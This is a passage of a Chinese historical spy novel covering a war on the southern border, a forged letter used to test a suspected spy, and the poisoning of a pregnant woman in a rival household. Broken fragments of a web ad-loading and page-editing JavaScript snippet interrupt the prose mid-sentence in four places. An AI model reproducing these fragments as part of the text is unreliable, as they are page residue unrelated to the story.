果然，信后出现了几行短句，霍任芙识得，这是霍间重的笔迹。 那行字写道：另，一日战情紧急，叶准被敌箭射中，已逝，汝切不可太过伤心。大军已胜而归，大抵会在半月后抵达燕京城。 字迹在蜡水的涂抹之下渐渐显现，包括最后那句。 提防家中歹人。 34. 战事 覃国国主本是周室表亲，周室灭亡之后，在分封的属地自立为王，不似兆国那般始终国力强盛，覃国一开始时甚至难以在乱世中站稳脚跟，只因其位置特殊，靠着周边各国的接济活了下来。 只是近一二年，覃国新皇登基，国域疆土迅速扩张，一跃站上了朱国之后能与兆国分庭抗礼的位置。 朱国地处兆国南边，灭亡之后割裂成诸多小国，覃国一路南下，顺利夺取了不少临近兆国边界的原先朱国属地，此次在南部发起战争一是为了吞并朱国遗留下的土地，二是为了侵扰兆国。 因而此战兆国并未派遣过多的兵力，直到霍间重领兵去往前线，才发觉此事并非如此简单。 先行的斥候在探查后来报，覃国此次携大军压境，而非如先前军中猜测那般只派遣几只精锐快骑侵扰边境。 听到此消息的霍间重觉出不对来，想到先前城中刺客曾潜入过景王府，他临阵前改换了排兵布阵，只派一支骑兵队伍在城门之外巡视诱敌，没有正式开战，同时让人去往附近的城池求援。 可覃国的军队等不了，成群结队的兵马和战车长驱直入，朝城门快攻去，霍间重早料到会有这一日，即刻派遣精锐出城应战，战况惨烈，使了不少机关秘法兆国才将这第一战堪堪赢下。 援兵还有几日才能抵达，霍间重为保全兵力只好趁着抵抗的这些时日将城中百姓疏散，舍下了这座城池，向北再退了一步。 其间的几次交战之中，覃国军队所派的兵，所布下的阵法都令霍间重感到熟悉。 他命人将这几日里覃国军队在交战时军士数量、战法编排记录在案，随后交予自己察看。 霍间重将这份军报和临行前景王亲手交予他的布阵图仔细比对，发现覃国这次所带军士与战车的数量、阵法都能将先前制定好的布阵方法从一处击破出一个缺口来。 等到援兵来临，双方正式开战，临阵改换的策略击了覃国军队一个措手不及，让先前因弃城而败退的士气重新振奋起来。 接下来的交锋依旧艰难，哪怕援兵到来，双方兵力依旧不对等，霍间重和其手下香尽了办法才赢下了其中大部分战役。 覃国知晓了情况的不对，派下一支队伍掩护大军撤离。 趁着势头，霍间重率大军南下，收复失城。 然就在此时，叶准率领的先行部队中了覃国部队在滁州城内设下的陷阱，为掩护同行的将士撤离，叶准被数支流箭射中，待驰援的军队感到，他的身体已然冰冷，不见呼吸。 随军的兆云公主见到叶准的尸体时，怔愣地一时忘记了哭泣，皇家的规训不允许她在人前失态，但人人都知晓她此时的难受，人人都记得正月十五燕京城门之上她与叶准并肩而立，俨然一对神仙眷侣模样。 霍间重派人在收复的滁州城中安葬了叶准，设下了灵堂让章征帮忙照看，供人祭拜。 率军在滁州城内休整了几日之后，霍间重带着大军回燕京城复命。 在大军击退覃军之时，他就派郑子寒快马向燕京报信，其遵循霍间重的叮嘱在夜色浓重时进入了燕京城，将霍间重亲笔写就的捷报递给了圣上和景王。 捷报之中写明了此战的伤亡情况，告知了军情被泄露的可能，还望其能宣扬大军在南部边境损伤的谣言，以降低藏匿于燕京城内细作的戒备之心，放给覃军更多的信息。 于是朝廷开始毫不避讳地向在此战中牺牲的军士发放抚恤，景王府更是闭门不开数日，甚至在外墙四角挂上了白幡祭奠死去的军士。 不安的气氛在城中蔓延，也果真惹得街坊巷间人心惶惶，只有少数依旧和各处商贾来往的商人还抱着希望。 写这封战报的同时，霍间重还提笔写了那封由霍任芙先一步收到的信。 盛乙的供词，褚盈的死，再到景王府被人潜入，事件似乎都围绕着自己和赋凌司展开，他在信中留下只有二人知晓的记号，希望自己那向来机敏能干的妹妹能通晓其中关窍，捕捉到赋凌司细作的踪迹。 在大军临近燕京城之时，霍间重命大军分散在一处荒野树林里驻扎休憩，放缓归京的速度，给城中的细作露出马脚的时间。 收到信的霍任芙显然理解了兄长想要传达的信息。 她取来一张轻薄的纸，模仿兄长的字迹，将她想要传达的信息拓在了这张之上，随后用仍旧燃着的烛火将霍间重寄来的信件烧成了灰烬。 她将伪造好的信件重新按着痕迹折好，抹去眼角的泪水，起身敲响了沉竹的房门，边敲边用欢欣的语气说道：“嫂嫂可醒了？兄长又写来了封信，我尚未展开，盼着与嫂嫂一并读呢！” “芙儿进来吧，我刚刚梳洗好。”沉竹的语气之中也难掩欢欣。 能送来信，就意味着霍间重尚安好。 如此想着，沉竹打开了房门，接过了霍任芙手中的信件展开阅读。 霍任芙靠在她的身后渴求地看着已读过的信件内容。 纸张之上是沉竹熟悉的霍间重的字迹，她轻声读着信上的内容：吾尚安好，勿念。另，一日战情紧急，叶准被敌箭射中，已逝。 沉竹读完信后下意识地看向站在自己身后的霍任芙，她的泪水已然滑落在脸颊。 “嫂嫂无需安慰我，我知晓战场之上生死难料，可…我控制不住。”霍任芙边笑着边哽咽道。 沉竹用手轻抚着霍任芙的后背，将她扶着坐下。 她知晓万千言语在此时都无法起到效用，只是默默地陪在她的身边，看着霍任芙低声啜泣。 窗外和煦的日光渐渐移动着，霍任芙的情绪也逐渐平静下来。 “嫂嫂，时候到了，想必沁兰他们已在前厅将菜布好，你我错过了晨餐可莫要再错过午饭。”说着，霍任芙擦拭着自己发红的眼角和面上湿润的痕迹。 “好，你我一同去用饭。”沉竹微笑着回答道。 饭后，霍任芙再次敲响了沉竹的房门。 “芙儿找我何事？”沉竹打开房门迎霍任芙进来。 “我在房中坐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着忽然想起，许久不曾和嫂嫂赏味香料，制作香囊了，便想着邀嫂嫂到院落之中将先前买回的香料拿出共同研磨焚烧。” 沉竹依稀感知到霍任芙笑颜的背后仍有着说不尽的悲伤，她的愧疚在这一刻攀升，她牵起霍任芙的手，点头答好。 从街市上买来的香粉在香炉之中静静的燃烧着，一缕白烟闲适地升起，散发出淡淡的梅花香味来，香味之凛冽坚韧，让人想起已有积雪的寒冬。 “嫂嫂厨艺了得，定然精通制香之术，丁香八角嫂嫂能运用地娴熟，沉香薄荷定也能掌握其配比用量。” “芙儿说笑了，这两者怎能混为一谈。”沉竹笑着答道。 她的确精通制香之术，赋凌司曾借朱国王室的名义请来了国中有名的制香师傅来教习她们这一雅事。 除去制香，对弈品茗等一众事她都在赋凌司学习过，只是她天然堆草木自然更有兴趣，便向教习的老师多讨教了一些，长此以往，倒也算得上精通。 但这样的技艺安在失踪已久不过被富贵人家找回一年便出嫁的小姐身上并不合适，在家时间不长的赵叶芊没有机会掌握这诸多技艺。 “不过是先前为你置办这诸多香料时读了几本相关的籍册，因而对此略有所知罢了。”沉竹对霍任芙补充道。 “不知嫂嫂可还记得在拂尘寺的后山之上，王妃身边的侍女递给你我的香囊？” 沉竹自然知晓，她与那侍女曾多次在后山之上约见，现在回想，那段时日虽压抑痛苦，但有着唯一的目标倒也过的难得的简单快乐。 “自然。”沉竹装作短暂思考之后回答道。 “我不久前才得知，此人便是先前景王府死去的侍女润夏。现下看那香囊，我总会有些物是人非之感。”霍任芙边低头摆弄着手中的薄荷叶，边说道，“嫂嫂可还记得你的那香囊之上绣着何物？我记着你我香囊的颜色相同，都是清雅的淡紫色，我的那只上绣着朵荷花，那花绣的细致，针法严密，不知是出自何人之手。” “我记不太清了，芙儿你说到颜色我才有些回想起来，约莫也是一朵花草罢。” 沉竹糊弄地回答着霍任芙的问题，她不会忘记那香囊上绣着的翠绿竹叶。 说完，她端起摆在桌案上的茶杯，饮了一口热茶。 只是，今日霍任芙怎会将旧事重提？ “兄长他们将此事捂得很紧，直到最近街上才对此有了一些说法，我听那些人说，那侍女是赋凌司派来探查的细作，早在一年前便被安插到了王府之中。“ “赋凌司？这可是同夫君廷正监一般的官衙，我好似在别处听说过，它应当隶属安国？“ 沉竹自认将无知的神色装的真切，因为霍任芙下一句便将话头转向了别处。 炉中的香焚烧殆尽，一场谈话也走到了尽头。 沉竹到底觉出不对来，整场谈话之中，那个谈论到兄长便会焕然出色彩来的霍任芙从头至尾都未谈及那封刚刚收到的信件和写这封信件的她的兄长。 35. 涟涟 “叶准死了？”沁菊边为沉竹拆去头上的发簪，边说道。 “你白日里听到了？” “不曾，这家宅之中的消息何须奴亲自去听去问，只肖一刻便传遍了。”沁菊将卸下的玉簪放到梳妆台之上，“不知这战事何时才能终止，整日看着熟悉的街巷和院落的一角天空可当真的是无趣。” “若是事成你打算去往何处？” “大抵会去往南边。”沁菊拿起木梳将沉竹的发丝梳理通顺，“对了，沁兰托奴告诉夫人，陈夫人请夫人去陈府喝茶。” “何时？” “后日。”沁菊答道，“还有一事，莫怪奴不提醒夫人，解药若是再不服用，待到一月之后便会失效。” “我知晓了，你先出去吧。” 待沁菊离开后，她将今日收到的那封信件再次拿出。 她总是感觉今日霍任芙的表现有些反常，信中或许还藏匿着她所不知晓的信息。 她将那封信重新拿出，同过往霍间重写给她的那些信件对比着字迹，但依旧找不出什么错漏来。 兴许是自己多想了，但怀疑的念头还是不停歇地出现在她的脑海。 她不愿再过这样揣揣不安的日子，可将真相吐露，她所拥有的一切都将失去。 去陈府之时，沉竹还带着些做得精巧的头面首饰和自己缝制的孩童衣物。 她将拜帖和礼物递给陈府的下人，并让他们前去通传。 不成想，返回到门前的侍者，并未迎她进去，而是语气谦恭地说道：“回禀夫人，我向陈夫人问过了，其并未邀人到府上做客。” “可是弄错了？这是陈夫人亲写给我家夫人的帖子。”沁兰在一旁提醒道。 “小陈大人可在家中？”沉竹向那侍女问道。 “陈大人去往了廷正监现下并不在家中。” 谈话间，又有一位陈府的侍女从门内走出，在与沉竹交谈的侍女耳畔轻声说了些什么，随后，守在门前的侍者让出了身位，那位刚从门内走出的侍女引沉竹和沁兰入内。 “让霍夫人久等了，我家夫人一时有事耽搁了，才让霍夫人被拦在了门前。” 沉竹随那侍女走了很久，穿过几个院落，又路过了几个修缮精美的寝居，才到了顾涟涟所住的院落之内。 顾涟涟所住的院落远比不上沉竹方才经过的那些院落，此间院落简陋得让沉竹向带领她们来此的问道：“小陈大人也在此处住着？” 此间房屋看去难以容得下两个人的饮食起居，窄小的院落之内还被堆积的柴火占据的大半地方。 “陈大人已有将近一个月未曾归家了，偶尔归家也只是宿在书房，不与夫人同住。” “那便只有你一人在照顾你家夫人的起居？这院中堆积的柴火是用来做何事的？” “我随夫人从镇州来到燕京，最为知晓夫人的习性，因而老夫人派我照顾夫人起居，此处的柴火是用来烧饭的。”说着侍女指向了不远处的一间小房，我在那处烧好饭后，便送到此处陪夫人一起用饭。” 说罢，侍女进到里屋之中，告知客人已至的消息。 “不成想陈夫人竟住在此地，在这偌大宅邸之中寻到这一处偏僻院落倒也极为不易。” 沁兰话音刚落，那引路的侍女便从屋中走出，她故作镇定地向沉竹说道：“夫人不在屋中，大抵是身子重，行动不便从老夫人房中出来后，还未走至此处，霍夫人在此稍候，我沿着路去寻我家夫人。” 不待沉竹回复，那侍女便急匆匆地跑了出去，沉竹吩咐沁兰跟上那侍女，帮衬一二。 沉竹在院中等着，也顺带将院中布置细细打量了一番。 除去在院中一角堆着的柴火，还种着一棵榆树，树上枝叶应时节发黄脱落，也是一副凋零破败的景象，顾涟涟所居房屋的门窗也有些破败，青苔从房门下方开始侵蚀，逐渐向上延伸。 当沉竹的目光刚刚掠过有些破洞的窗纸之时，沁兰大喘着气，从院门处跑来。 “夫人，我一路跟着那侍女可一路上并未见到陈夫人的身影，直至跟到将近陈老夫人的院门前，奴不敢再上前去，便急着跑回来回禀夫人。” “我亲去看看，你来为我带路。” 行至陈老夫人院门前，守着院门的侍女拦住了沉竹的去路。 “劳烦通禀陈老夫人一声，国尉夫人来拜会老夫人。”沁兰凑上前去，对着侍女说道。 “老夫人现下不在院中，国尉夫人让我去通禀也是无用。” “那请问老夫人去往了何处，陈夫人又可在院中？”沉竹追问道。 “奴只知晓老夫人的行踪，其他一概不知，夫人莫要再问了。” 见无法进到陈老夫人的院中，沉竹避到一旁，向身边的沁兰再次问道：“你可亲眼看见引我们进来的侍女进了这个院落？” “奴亲眼所见，那时守在院前的侍女并不像此时这般严苛，只看了一眼便让那人进去了。”沁兰越说着越有些焦急，“夫人，现下该如何是好，若是陈夫人在院中出了事可怎么办？” 沉竹也为此心焦，她脑海之中想着办法，该如何将顾涟涟从陈老夫人院中解救出来。 “沁兰，你写张字条，去问问陈府下人为小陈大人做吃食的是哪个膳房，我记着陈夫人曾同我说过，她常给小陈大人送些吃食，此刻将近黄昏，此处离廷正监尚且有些距离，若要去送吃食便该出发了，将字条放入食盒之中。倘若此法行不通，你便即刻出陈府驾车去往廷正监，去告知小陈大人此处发生的事，只是廷正监难进……罢了，你只管去做便是，我在此处守着，只盼不出些什么乱子才好。” “夫人放宽心，奴即刻便去寻纸笔，只是夫人定要先照看好自己。” 见沁兰走远，四下无人，沉竹找到了一处矮墙翻了过去进到了院中。 翻过院墙，映入沉竹眼帘是几盆经人用心修剪的深绿色盆景，她看向周边景色，但此处景致似是不受时节影响，大体上仍是一片养人的绿色。 沉竹缓步向 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 院落的更深处走着，她看到了陈老夫人高坐在亭台之上，身边不乏人倒茶扇风，甚至还有一人在稍前的位置抚琴奏乐。 她看着不时有人在亭台之上走动着，可到底是视线受限，看不到更多，更何况寻到顾涟涟。 她试着再往前看去，可就在此时，有侍女到陈老夫人跟前禀报，小陈大人散值想来拜会陈老夫人。 陈年竟来得如此快。沉竹抬头看天色，不过刚到黄昏。 她顺着原路返回，轻巧地翻过院墙，去到院门前与沁兰汇合。 “夫人去哪了？奴一时从陈府下人口中问不出膳房的位置，便急着出门准备驾车去往廷正监，谁知刚出府门便碰到了小陈大人，奴告知了大人府中情况后就随大人来此了。奴方才四处寻夫人，却不见夫人踪影。” “我方才绕着院落走，想着也许能探听到些什么，便一时走远了些。”沉竹向沁兰解释过后，向她身边站着的陈年躬身行礼，“参见陈大人。” “霍夫人无需多礼，是我要谢霍夫人如此为涟涟担忧。” “陈大人言重了。” 沉竹话音落下，侍女便引陈年进到了院中，还将先前为她们引路的侍女牵了出来，让其带她与沁兰二人先行去到一处歇息。 跟着那侍女沉竹和沁兰又回到了先前离开的院落之中。 “此处虽简陋，但少些人在一旁窥探，奴也好同夫人说些真心话，只是让夫人在此处歇息，实在是过意不去，霍夫人在此稍候，我为夫人沏壶茶来。” 等着那侍女将茶沏好，沉竹稳下心来问道：“究竟发生了何事？你家夫人尚在孕中怎得饮食起居如此简陋？” “霍夫人也知晓我家夫人家中父母皆在镇州，小陈大人榜上有名，下派到了镇州当一城县令，我家夫人的亲父是县衙中的官员，因此我家夫人与小陈大人结识，且在之后结为了夫妻，跟着其从镇州搬到了燕京。” 那侍女说得情动，眼看着泪就要落了下来。 “到了燕京，一切便都不同了，霍夫人也知晓，小陈大人家中显贵，老夫人嫌弃我家夫人的出身，上赶着为小陈大人寻良配，没过些时日便将两房贵妾抬到了府中，口中说着再过些时日就让小陈大人为我家夫人写一纸休书，迎娶门当户对的新人进门，我家夫人一时气得晕了过去，也是因此请医诊出了身孕。” “抬贵妾进府便是为了开枝散叶，可怎的陈夫人有了身孕，处境依旧不见改善？” “老夫人为了迎新人进门，想将夫人有了身孕的消息瞒下来，将夫人从先前的居所遣到了此间院落之中，只派我一人照料夫人，等着新夫人进府，顺理成章地将孩子过继到新夫人名下，当我家夫人从没来过一般。” “你莫要心急，我见小陈大人今日也极为护着陈夫人，陈夫人也定能渡过此难关。”沉竹出声安抚道。 随后，沉竹品了口茶，接着说道：“我知陈夫人处境艰难，陈夫人今日叫我来是要做些何事，不如坦诚相告，我也能将事办得漂亮些。” 36. 取舍 “霍夫人聪慧，奴也不再绕弯子。”那侍女说着将眼中含着的泪水擦了干净，“我家夫人请霍夫人今日来此，便是要夫人帮我家夫人说话，将府中那两个贵妾遣走，也让除了老夫人寻新夫人进府的念头。 就在此时，院门之外有侍者来回跑动，其间有一侍女进到院中同坐在沉竹眼前的侍女耳语。 待到那人走后，顾涟涟的侍女同沉竹说道：“请霍夫人移步到老夫人院中。” “发生了何事？”沉竹边走着边向那侍女问道。 “我家夫人晕倒在了老夫人院中，府中那些来回跑动的侍者正为我家夫人请医寻药，霍夫人待会儿进到老夫人院中只需替我家夫人说上几句好话便是。” “陈夫人以身做局，我自当奉陪。” 此时，陈老夫人的院门之前已无人看管，院中的下人们皆慌乱失神，一问才知，陈老夫人见顾涟涟晕倒后，自己也一个仰身倒在了地面上。 沉竹按照礼数先去看望了倒下的陈老夫人，随后才行到了此时顾涟涟所在的房中。 陈年眉头紧锁，神情严肃，一言不发地守在顾涟涟的床前。 “拜见陈大人。”沉竹向陈年行了礼后继续说道，“我尚未踏出宅院门槛，听闻院中出了急事便过来看望一二。” “让霍夫人劳心了。” “陈夫人现下如何了？”沉竹语气关切地向陈年问道。 “刚请医士过来为涟涟诊了脉，说其脉象不稳，若不好好看护会有落胎的可能。” 说话间，陈年一直看着躺在床榻之上面色苍白的顾涟涟，俨然一副心疼担忧的模样。 “大人可知陈夫人在府中过得是怎样的生活？” “我知晓。”陈年语气沉重地回答道，“自我母亲得知她有孕后，便遣人在我不在时将她安排在了那个院落之中，我问她，她总说没什么，不妨事，我便去找母亲说理，可母亲拿她的态度搪塞我始终不松口，我也曾试着将她的铺盖放回我们先前住着的院落，可我无法整日在家中待着，每每我归家之时她便又到了那简陋的院落之中。” 说到此，陈年叹了口气继续说道：“如此来回折腾，苦的是她，我便也不再挣扎。” 日头渐渐沉落，橙红色的霞光布满了天际。 一位侍女乘着这样的霞光端着木案送来了吃食。 “时候不早了，膳房做好了吃食，老夫人身边的李妈妈吩咐奴端来这些给夫人和公子垫垫肚子。”那侍女边说着边将木案上的吃食摆到了桌面之上，“这碗参鸡汤是李妈妈特意嘱咐膳房做的，来给夫人补补身子。” “老夫人可好些了？”陈年低着头向那侍女问道。 “老夫人尚未苏醒。” “知道了，你先下去吧。” 待那侍女下去之后，陈年拿起那盅参鸡汤坐到顾涟涟的床前，示意一旁的侍女将其扶了起来，试着将汤喂入顾涟涟的口中。 “半晌未吃些什么对身体总是不好的，霍夫人也不必拘谨，想吃些什么便吃些什么罢。” 沉竹应他的话坐下，拿起食箸将还冒着热气的一叶青菜夹到了碗中。 可还未待她吃上第一口，便听到了物什落到地上的声响。 她抬头循声看去，原是那边的陈年手中的汤盅跌到了地上，比洒在地上的汤水更为醒目的是从顾涟涟的身体流出的血迹。 “快…快请医士来！”陈年高声喊道。 一直侯在陈府中未曾离去的医士迅速赶到，见到躺在床榻之上血迹和闭着眼冒着冷汗的顾涟涟，神色凝重地为其诊脉。 “夫人的身体现下十分虚弱，孩子怕是保不住了。”说完那医士看向桌上还未动过的饭菜夫人方才可有吃过什么？” “汤。”沉竹即刻接话道，“沁兰你去膳房看是否有汤剩下。” 沉竹将跌落在地的汤盅捡起，里面还剩着一些汤水，她拔下头上的银簪伸入汤水之中再拿出，银簪的尖已然变成了黑色。 她对着一直陪伴在顾涟涟身边的侍女说道：“快去将方才那送汤的侍女找来。” 此间屋子的消息即刻传到了陈老夫人的屋中，听闻此事的李妈妈即刻趴到老夫人的耳边说道：“夫人，现下的情况您可不能再闭着眼了。” “发生了何事？”陈老夫人幽幽的开口。 “那南边来的掉了孩子！” 陈老夫人的神色不再淡定：“怎会出了这样惊天的乱子？” “我听那边服侍的侍女说，是因为方才喝了我们房送去的参鸡汤，才掉了孩子。老奴遵夫人的话挑了上好的野参熬汤，怎敢在汤中下毒。” “你快扶我起来，去那房中看看。” 房中一个侍女跪地，一个侍女陪在顾涟涟身旁，两个身穿华服的贵妾也跪在地上，医士交给陈年写好的药方正待离去，沉竹坐在一桌凉掉的饭菜跟前喝着手中的热茶。 见到屋中唯一一个“外人”，陈老夫人咬着牙狠狠地跟身边搀扶的李妈妈低声说道：“那人怎么还没走？” “老夫人醒了。”沉竹起身向陈老夫人行了个礼。 陈老夫人并未正眼看沉竹，向冷着脸站在一边的陈年问道：“涟儿如何了？” “母亲怎好意思将此话问出口？”陈年看着陈老夫人那丝毫没有病色的脸，用力地指向在地上跪着的两个妆容精致的女子，“此二人，在给涟涟的鸡汤之中下了毒！将我与涟涟近六月大的孩子害死了。” 陈老夫人没有急着回答，而是示意李妈妈将沉竹请走。 见李妈妈朝自己走来，沉竹率先开了口：“天色不早了，若是我再未回到霍府，怕是我家妹妹要派人来寻我，可此事要是不解决，我是断不会离开陈府的。” 前来请人的李妈妈脚步停了下来，她听得懂这段话的弦外之音，此间事情想必已然传遍了陈府，若是真让人到门前询问霍夫人缘何尚未归家，那明日整个燕京城都会议论陈家今日发生的糗事。 陈老夫人面上不显，但还是斜着眼将目光放在了沉竹身上。 “你个外人，就无需插手我们的家事了吧。” “自我到燕京城以来，陈夫人照顾我良多，单凭这份恩情，我便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不可能抛下陈夫人不管，陈老夫人赶我走，莫不是要置我于忘恩负义的境地？” 陈老夫人听后沉默了一阵，终是开口道：“那你说，此事该如何解决？” “除去将此二人找人牙打发走之外，我还希望老夫人看在这刚逝去的孩子的面上立下誓言，不再自作主张寻新人送入陈大人的院中。” 陈老夫人面色不善，但洒到她眼角的落日余辉提醒着她不能过多犹豫，再做纠缠。 在让李妈妈将那二人带下去之后，陈老夫人开口道：“好，老身在此立誓，不再为我儿寻新人进府。”干脆地说完这段话之后，她转头看向沉竹，“霍夫人可满意了？” “多谢老夫人成全我的恩义。”说罢，沉竹向陈年和陈老夫人行礼，“还望老夫人和陈大人好好照顾陈夫人，此间事了，我便先行离去了。“ 回府的路上，街巷之间嬉闹的孩童都已归家用饭，只有几间零落的商贩在叫卖着。 沉竹回想着在陈府发生的事，照今日所发生之事，她敢断定顾涟涟料到了那两个不安分的侍妾会见她虚弱，急着在今日下手，害死她腹中孩儿。 她以为顾涟涟只是那自己的身体当作此盘的赌注，却不能想到她会将与自己血脉相连的孩子也计算在内。 马车平缓地驶到了霍府门前，沉竹牵着沁兰的手走下了马车，但脑海中仍在不断回想着那日李夫人办的满月酒席之上，顾涟涟同她说起自己怀有身孕时的幸福神情。 但她理解顾涟涟如此做的原因。 “嫂嫂怎的如此晚才回来，我差点要遣人去陈府寻嫂嫂。”霍任芙神色慌张，关切地向沉竹问道。 “陈府有些事情耽搁了，是我不好未遣人给你报信，害芙儿担心。” “嫂嫂可用过饭了？膳房今日做了新鲜的鱼脍甚为可口，嫂嫂快随我去尝尝。” 随霍任芙来到餐桌前，可口的鱼脍已变得有些凉腥。 “我遣人去膳房再问问，有没有多做上一些。” “不必麻烦。”沉竹夹起一片鱼脍放入了口中，味道不似她想象那般难以入口，只是略增了些腥味，她在幼时因战争在街头流亡之时曾尝过更为腥臊的食物，有时送入口中的吃食甚至还混着血。 “这桌上还有些我喜爱的菜肴，只是要芙儿在此陪我一并用才好。“沉竹笑着同霍任芙说道。 霍任芙面带愧疚地牵着沉竹的手坐在她的对面。 “说到佳肴，近来怎不见嫂嫂身边的那位侍女在城中发现些新鲜又可口的玩意儿。”霍任芙笑着打趣道。 “许是近些时日家中事忙我未曾带她上街去。”沉竹同样笑着回应道，“我还记得之前沁菊发现的那间民北街的果脯铺子，只是近来不见它开着了，许久不尝，倒还有些想念，芙儿可知那间铺子为何停业如此之久？” “我也不知。”霍任芙状作遗憾地摇了摇头。 她不会不知晓那间铺子为何会歇业，不久前她曾向郑子寒提起过此事，郑子寒随口向她提到那间铺子的一个伙计实则是赋凌司的细作，前些时候死在了狱中。 37. 沁兰 “嫂嫂如此说倒让我提起了兴趣，她可曾还为嫂嫂出过什么主意？”霍任芙追问道。 沉竹装作思考了一阵说道：“不知芙儿可还记得，今年正月十五时的元宵也是她亲去城南的那间店买来的。” 正月十五，霍任芙在脑海中搜寻着在这段时日附近的消息，那时她刚从滁州赶回燕京，燕京城刚下过一场大雪，满城白雪皑皑，欢声笑语，她不记得在那附近可有发生些什么不对的事。 “嫂嫂如此说，我便想起来了，我还记得那日的元宵十分美味。” 说及此，沉竹叹了口气道：“不知夫君何时才能归来。” 看着沉竹担忧的神情，霍任芙心中纠结，但仍旧只是出声安慰道：“嫂嫂莫要因此忧心。” 沉竹并非无意提起有关沁菊的事。 在那日夜晚解药送至她的窗前之时，她就已知晓是沁菊有意提起让她在润夏和藏匿在果脯铺子的赋凌司细作跟前现身。 在滁州杀害褚盈拿到城池布防图后，其又借着正月十五这一特殊的时机，去到在城南门处的那间铺子将消息传给那处来往的商人，送出了燕京城。 她被心底的愧疚困住下沉，不知该做些何事才能得到解脱。 她没有勇气将自己的生命了结，只好借助外力卸去自己身上的绳索。 霍任芙兴许已经起疑，将她的疑虑转移到沁菊身上，若是沁菊因此落狱，不出意外沉竹便可接替其位置成为燕京城掌管其他赋凌司细作的辨情使。 若是沁菊在狱中供出了沉竹的名字，她便也不再挣扎，坦然迎接审问、折磨与死亡。 屋门被敲响，待沉竹回应过后，沁兰走了进来。 “今日是你？” “沁菊安睡了，今日奴来为夫人卸去发饰，服侍夫人沐浴。”沁兰柔声答道。 “你和沁菊是如何相识的？”她想去验证沁菊所言的是否真实。 “此事说来话长，奴在街边遇到沁菊之时，应当是一年滁州的冬日，她身形单薄，只穿着一件单衣蹲在街边，奴心生怜悯，便将她带回了家中。” “那时你可在赵家任职？” “不曾。”沁兰边轻柔地梳着沉竹的发，边说道，“奴的父母兄长皆因战争死去，奴捡回条命来，流亡到了兆国，一开始只能拿着碎了一角的饭碗在街边乞讨过活，后来奴开始做起了编织刺绣的活计，挣了些银两。但将沁菊带至家中之后，这些银两难以维继，奴便想到了去大户人家当侍女的法子。” “可这些人家水深复杂，远比不上街边摊贩自由快活。”沉竹看着铜镜之中低头梳发的沁兰问道。 “夫人说的不错，奴做此决定时也思索考量了许久，奴能保证每日编的竹篮和绣出的手绢都与过往那些相差无二，可每日卖出的数量却飘忽不定，偶遇战事便会一连几个月颗粒无收，奴从小漂泊，许是因为心中向往，便还是做下了当侍女的决定，领着不变的月例，也算是落得安稳。” “那你是如何入的赵府？” “奴的绣活还算是不错，当然，主要还是因着赵夫人心善，奴携沁菊敲响赵家大门之时是个落雪的日子，幸得门前的守卫未将我二人赶走，才顺利见到了赵夫人，讲明来历过往之后，赵夫人便给了奴与沁菊洒扫的活计。”沁兰说着说着，嘴角还扬起了和煦的弧度，像是回忆起了充满希望的过往。 沉竹看着镜中映出的沁兰，不再追问些什么。 与徐夫人约定的日子就快要到了，沉竹近来同霍任芙寻着要带去昭王府的礼物，思索着送怎样的礼到王妃手中才不算过火。 沉竹为此事烦忧，在夜晚对着铜镜总会不自觉地皱起眉头，出神想着此事。 “你还真是将霍夫人的扮得出神入化。“沁菊口中说着冷嘲热讽的话，面上是同沁兰一般的温和神情。 沉竹听后并未即刻将紧着的眉头放松，而是朝她询问道：“你可有何好点子？” “你可有霍间重的消息？”沁菊反问道。 “没有。”沉竹神色僵硬地回答着沁菊的问题，“我以为此事在你这里已经过去了。“ “只是近来我有些心慌罢了，大抵是因着将要重获自由，有些紧张。”沁菊边说着边释然地笑了出来。 赋凌司会在细作的任务真正结束之时，给予她们一味特殊的解药，服下此药之后只要带着秘密守口如瓶，便可不再受到体内毒素的制约。 “明日我再向芙儿询问一番。” “多谢夫人。”沁菊面上的笑容更加灿烂。 “你可想过沁兰的处境？她是救你之人，但你又将她陷于了因战流亡的境地。” “我自会将这些事处理好，无需夫人为我担心。夫人还是担忧过几天去王府时要带些什么礼物前去。“沁菊收起了面上的笑容，冷淡地同沉竹说道。 沉竹和霍任芙商议过后，从二人常去的那间香铺买了上等的沉香，放入了楠木做的木盒之中，还特意将木盒抛光打磨，刻上了纹样。 将这一切做完之后，离约定好的那日只剩下一天的时间。 二人终于得闲，聚在院中喝下一杯热茶。 “夫君许久都不曾来信了。” 边境的战事许久都没有定论，让沉竹的期待逐渐变得干涸。 “不知兆云公主现下如何了。” 霍任芙不愿再欺骗沉竹，同她再谈论霍间重的话题，生硬地将话题转了向。 “兆云…” 许久不曾听到这个名字，沉竹一时间还有些反应不过来，待她反应过来之后，霍任芙已然将话自顾自地说了下去。 “叶准身死，她定当哀伤吧。” “兆云既对兵马骑射之事颇有了解，定然明晰战场之上生死难料，她知道她将要同何人共度一生。” 霍任芙听后，心情不由得低落，她想到沉竹极有可能在这段时间之内辗转反侧，担忧着自己兄长的安危。 面对着沉竹，再多一刻她都无法隐瞒。 “其实……” 不待霍任芙将话说出口，府内的侍者便前来禀报，门外堆积 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了一众妇孺，求见夫人小姐。 沉竹不明所以，同霍任芙一并前去门前察看。 门外求见的妇孺，有些人泪眼婆娑，有些人眼神如野草一般坚韧。 见沉竹迈过了门槛，为首的那个打扮干练的女子即刻上前一步隔着守卫同她问道：“不知霍夫人可有此次前去南边大军的消息？“ 此问一出，沉竹立刻便明白了眼前这些人的来意。 这些家在燕京的士兵，家中之人也在担忧焦急。 可沉竹同她们一般站在局外，不知晓局中人的境地。 沉竹看着那女子恳切的眼睛，煎熬地说不出一句话来。 “各位再等等，定会有消息传来的。“身边的霍任芙出声安抚着众人。 石阶之下的众人看到了沉竹低下的头，听到了霍任芙安慰的话语，也不再过多纠缠，她们知道，霍大人也在军中尚未归家。 “有霍小姐的这番话，我便安心了。“为首的女子眼含泪光地打着圆场，”只是希望霍小姐若是得了新消息，定要告诉大家一声。“ 听后，沉竹命沁兰取来了纸笔，将在场人的名姓都登记在册，向她们承诺，若是有消息定会派府中侍者挨家挨户的告知各位。 